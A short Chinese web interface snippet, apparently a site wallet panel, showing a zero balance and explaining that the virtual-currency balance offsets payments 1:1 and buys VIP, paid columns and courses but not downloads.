钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值